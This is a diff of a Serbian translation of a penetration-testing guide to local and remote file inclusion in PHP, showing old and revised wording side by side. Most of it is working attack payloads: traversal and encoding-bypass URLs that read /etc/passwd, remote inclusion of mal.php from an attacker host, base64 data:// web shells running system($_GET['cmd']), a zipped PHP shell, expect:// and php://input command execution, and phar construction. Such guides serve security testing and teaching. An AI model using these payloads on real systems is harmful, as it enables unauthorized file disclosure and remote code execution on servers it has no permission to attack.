http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sekvence prolaza uklonjene non-rekurzivno
|
||||
### traversal sequences uklonjene nerekurzivno
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Zaobiđite dodavanje više karaktera na kraju datog stringa (zaobiđivanje: $\_GET\['param']."php")
|
||||
Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -71,51 +71,51 @@ Ovo je **rešeno od PHP 5.4**
|
||||
|
||||
### **Kodiranje**
|
||||
|
||||
Možete koristiti nestandardna kodiranja kao što je dvostruko URL kodiranje (i druga):
|
||||
Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Iz postojeće fascikle
|
||||
### Iz postojećeg foldera
|
||||
|
||||
Možda back-end proverava putanju fascikle:
|
||||
Možda back-end proverava putanju foldera:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Istraživanje direktorijuma fajl sistema na serveru
|
||||
|
||||
Fajl sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo fajlovi, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
|
||||
Fajl sistem servera može se rekurzivno istražiti kako bi se identifikovali direktorijumi, a ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda za postizanje toga:
|
||||
|
||||
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem fajla `/etc/passwd` (primenljivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
|
||||
1. **Utvrdi dubinu direktorijuma:** Odredi dubinu trenutnog direktorijuma uspešnim dohvatanjem fajla `/etc/passwd` (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, pokazujući dubinu od tri:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Istraži foldere:** Dodajte ime sumnjivog foldera (npr., `private`) na URL, a zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
|
||||
2. **Proverite direktorijume:** Dodajte ime sumnjenog direktorijuma (npr. `private`) u URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tumačenje Ishoda:** Odgovor servera ukazuje na to da li folder postoji:
|
||||
- **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
- **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
|
||||
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
|
||||
3. **Tumačenje rezultata:** Odgovor servera ukazuje da li direktorijum postoji:
|
||||
- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
- **Sadržaj `/etc/passwd`:** Prisustvo direktorijuma `private` je potvrđeno.
|
||||
4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dalje istraživati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
|
||||
|
||||
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži `private` direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
|
||||
Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload u skladu sa tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pod pretpostavkom da je trenutni direktorijum na dubini 3), koristite:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Tehnika skraćivanja putanje**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena sigurnosnom merom, i dalje ukazuje na željenu datoteku.
|
||||
Path truncation je metoda koja se koristi za manipulaciju putanjama do fajlova u web aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobiđući određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja. Cilj je kreirati putanju koja, nakon što je sigurnosna mera izmeni, i dalje pokazuje na željeni fajl.
|
||||
|
||||
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode datotečnog sistema. Na primer:
|
||||
U PHP-u, različite reprezentacije putanje do fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se svi tretiraju kao ista putanja.
|
||||
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (što ga čini `passwd/`) ne menja ciljanju datoteku.
|
||||
- Slično, ako se `.php` doda putanji datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` svi se tretiraju kao ista putanja.
|
||||
- Kada poslednjih 6 karaktera bude `passwd`, dodavanje `/` (praveći `passwd/`) ne menja ciljani fajl.
|
||||
- Slično, ako je `.php` dodat na putanju (kao `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl kojem se pristupa.
|
||||
|
||||
Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup `/etc/passwd`, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima):
|
||||
Primeri ispod pokazuju kako koristiti path truncation za pristup `/etc/passwd`, čestom cilju zbog osetljivog sadržaja (informacije o korisničkim nalozima):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
|
||||
U ovim scenarijima, broj potrebnih traversals može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.
|
||||
|
||||
- **Korišćenje tačaka i dodatnih karaktera**: Sekvence prolaza (`../`) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
|
||||
- **Određivanje potrebnog broja prolaza**: Kroz pokušaje i greške, može se pronaći precizan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (kao što je `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
|
||||
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (kao što je `a/`). Ova tehnika se koristi kao mera opreza ili da bi se ispunili zahtevi logike parsiranja putanje servera.
|
||||
- **Korišćenje dot segmenata i dodatnih karaktera**: Traversal sequences (`../`) u kombinaciji sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju datotečnim sistemom, efikasno ignorisanjem nizova koje server dodaje na putanju.
|
||||
- **Određivanje potrebnog broja '../' sekvenci**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potreban da se dođe do korenskog direktorijuma, a zatim do `/etc/passwd`, pri čemu se osigurava da su svi pridodati nizovi (kao `.php`) neutralisani, dok željena putanja (`/etc/passwd`) ostane netaknuta.
|
||||
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je započeti putanju nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanja servera.
|
||||
|
||||
Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
|
||||
Primenjujući tehnike skraćivanja putanje, ključno je razumeti ponašanje parsiranja putanja od strane servera i strukturu datotečnog sistema. Svaki scenario može zahtevati drugačiji pristup, i često je potrebno testiranje kako bi se pronašla najefikasnija metoda.
|
||||
|
||||
**Ova ranjivost je ispravljena u PHP 5.3.**
|
||||
|
||||
### **Trikovi za zaobilaženje filtera**
|
||||
### **Trikovi zaobilaženja filtera**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
U php-u je ovo po defaultu onemogućeno jer je **`allow_url_include`** **Isključeno.** Mora biti **Uključeno** da bi radilo, i u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
|
||||
U php-u je ovo onemogućeno podrazumevano zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ako je iz nekog razloga **`allow_url_include`** podešeno na **On**, ali PHP **filtrira** pristup spoljnim veb stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), mogli biste koristiti, na primer, data protokol sa base64 za dekodiranje b64 PHP koda i dobijanje RCE:
|
||||
Ako iz nekog razloga **`allow_url_include`** ima vrednost **On**, ali PHP **filtrira** pristup eksternim web stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, iskoristiti data protocol sa base64 da dekodirate b64 PHP code i dobijete RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
|
||||
> U prethodnom kodu, na kraju je dodat `+.txt` zato što je napadaču bio potreban string koji se završava sa `.txt`, pa se string završava tim i nakon b64 decode taj deo će vratiti samo beskoristan sadržaj, a pravi PHP kod će biti uključen (i samim tim, izvršen).
|
||||
|
||||
Još jedan primer **koji ne koristi `php://` protokol** bio bi:
|
||||
Još jedan primer **koji ne koristi `php://` protocol** bio bi:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python korenski element
|
||||
|
||||
U Python-u u kodu poput ovog:
|
||||
U Pythonu, u kodu kao što je ovaj:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Ako korisnik prosledi **apsolutnu putanju** do **`file_name`**, **prethodna putanja se jednostavno uklanja**:
|
||||
Ako korisnik prosledi **absolute path** u **`file_name`**, **prethodna putanja se jednostavno uklanja**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To je predviđeno ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
To je predviđeno ponašanje u skladu sa [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.
|
||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente putanje.
|
||||
|
||||
## Java Lista direktorijuma
|
||||
## Java listiranje direktorijuma
|
||||
|
||||
Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto datoteke, **vraća se lista direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
|
||||
Izgleda da ako imate Path Traversal u Javi i **zatražite direktorijum** umesto fajla, **vraća se listiranje direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
|
||||
|
||||
## Top 25 parametara
|
||||
|
||||
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Evo liste Top 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) ranjivosti (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ra
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI koristeći PHP omotače i protokole
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego što budu pročitani ili zapisani. Postoji 5 kategorija filtera:
|
||||
PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podacima** pre nego što budu pročitani ili upisani. Postoji 5 kategorija filtera:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Uklanja tagove iz podataka (sve između "<" i ">" karaktera)
|
||||
- Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
|
||||
- `string.strip_tags`: Uklanja tagove iz podataka (sve između znakova "<" i ">")
|
||||
- Imajte na umu da je ovaj filter nestao u modernim verzijama PHP-a
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Transformiše u drugačiju kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
|
||||
- `convert.iconv.*` : Transformiše u drugi encoding (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih enkodinga** pokrenite u konzoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije kao što je uključivanje procesa proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
|
||||
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se exfiltrira puno informacija)
|
||||
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira mnogo informacija)
|
||||
- `zlib.inflate`: Dekompresuje podatke
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Zastarjelo
|
||||
- `mdecrypt.*` : Zastarjelo
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Ostali filteri
|
||||
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**:
|
||||
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći par **neočekivanih filtera**:
|
||||
- `consumed`
|
||||
- `dechunk`: obrće HTTP chunked kodiranje
|
||||
- `dechunk`: poništava HTTP chunked enkodiranje
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> Deo "php://filter" nije osetljiv na velika i mala slova
|
||||
|
||||
### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova
|
||||
### Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova
|
||||
|
||||
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti za povećanje veličine teksta dovoljno da php izazove izuzetak.
|
||||
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) je predložena tehnika za čitanje lokalnog fajla bez vraćanja output-a sa servera. Ova tehnika se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. To je zato što se php filters mogu koristiti da učine tekst dovoljno velikim da php baci izuzetak.
|
||||
|
||||
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog pregleda:
|
||||
U originalnom postu možete naći detaljno objašnjenje tehnike, ali evo kratkog rezimea:
|
||||
|
||||
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
|
||||
- Ovo će se koristiti za generisanje **teksta toliko velikog kada je početno slovo tačno pogođeno** da će php izazvati **grešku**.
|
||||
- Filter **dechunk** će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
|
||||
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), omogućiće nam da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
|
||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao što su n, o, p, q, r (i drugi codec-i se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
- Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj.
|
||||
- Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem filtera za redosled memorije kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
|
||||
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta smešnih podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **pivotirali sa sledeća 2 bajta**, i **obrišemo podatke do smešnih podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
|
||||
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno.
|
||||
- Ovo će se koristiti da se generiše **tekst toliko veliki da, ako je početno slovo pogođeno**, php će izazvati **grešku**.
|
||||
- Filter **dechunk** će **obrisati sve ako prvi char nije heksadecimalan**, pa možemo znati da li je prvi char hex.
|
||||
- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo primetiti kada obavimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
|
||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (npr. a -> b). Ovo nam omogućava da otkrijemo da li je početno slovo `a`, na primer, jer ako primenimo 6 puta ovaj codec: a->b->c->d->e->f->g, slovo više nije heksadecimalni karakter, stoga dechunk ga neće obrisati i php greška će biti pokrenuta zato što se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao što su n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg).
|
||||
- Kada je početni karakter broj, potrebno ga je base64 enkodovati i leak-ovati prva 2 slova da bismo leak-ovali broj.
|
||||
- Konačni problem je kako leak-ovati više od početnog slova. Korišćenjem filtera koji menjaju redosled bajtova kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
|
||||
- I da bismo mogli dobiti further data, ideja je da se generišu 2 bajta junk podataka na početku pomoću **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se oni pivotuju sa naredna 2 bajta, i obrišu podaci sve dok ne stignemo do junk podataka (ovo će ukloniti prva 2 bajta početnog teksta). Nastaviti ovo dok ne dođete do željenog bita za leak.
|
||||
|
||||
U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
U postu je takođe leaked alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
|
||||
Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno korisno za exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Možete takođe koristiti **php://stdin, php://stdout i php://stderr** za pristup **fajl deskriptorima 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
|
||||
Takođe možete koristiti **php://stdin, php://stdout i php://stderr** da pristupite **deskriptorima fajlova 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
|
||||
|
||||
### zip:// i rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.\
|
||||
Da biste mogli da zloupotrebite rar protokol, **mora biti posebno aktiviran**.
|
||||
Otpremite Zip ili Rar fajl sa PHPShell-om unutra i pristupite mu.\
|
||||
Da biste mogli zloupotrebiti rar protokol, **potrebno je da bude posebno aktiviran**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Napomena da je ovaj protokol ograničen php konfiguracijama **`allow_url_open`** i **`allow_url_include`**
|
||||
Imajte na umu da je ovaj protokol ograničen php konfiguracijama **`allow_url_open`** i **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Specifikujte svoj payload u POST parametrima:
|
||||
Navedite svoj payload u POST parametrima:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
`.phar` datoteka se može koristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su `include` za učitavanje datoteka. PHP kodni isječak prikazan ispod demonstrira kreiranje `.phar` datoteke:
|
||||
A `.phar` fajl može da se iskoristi za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su `include` za učitavanje fajlova. PHP primer koda ispod pokazuje kreiranje `.phar` fajla:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,7 +354,7 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Da biste kompajlirali `.phar` datoteku, treba izvršiti sledeću komandu:
|
||||
Da biste kompajlirali `.phar` fajl, izvršite sledeću komandu:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
@ -366,82 +366,83 @@ For a detailed understanding of exploiting deserialization vulnerabilities in th
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Moglo je da se zloupotrebi **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Veoma kratak rezime: **3-bajtni overflow** u PHP heap-u je zloupotrebljen da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo kojoj adresi**, tako da je dodat hook za pozivanje **`system`**.\
|
||||
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera.
|
||||
Bilo je moguće zloupotrebiti **bilo koje proizvoljno čitanje fajla iz PHP-a koje podržava php filters** da bi se dobio RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Veoma kratak rezime: iskorišćen je **3 byte overflow** u PHP heap-u da bi se **alter the chain of free chunks** određene veličine kako bi se moglo **write anything in any address**, pa je dodat hook koji poziva **`system`**.\
|
||||
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filters.
|
||||
|
||||
### More protocols
|
||||
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Piše u memoriju ili u privremenu datoteku (not sure how this can be useful in a file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristup lokalnom fajlsistemu
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristup HTTP(s) URL-ovima
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP(s) URL-ovima
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni streamovi
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju obrascu (It doesn't return nothing printable, so not really useful here)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
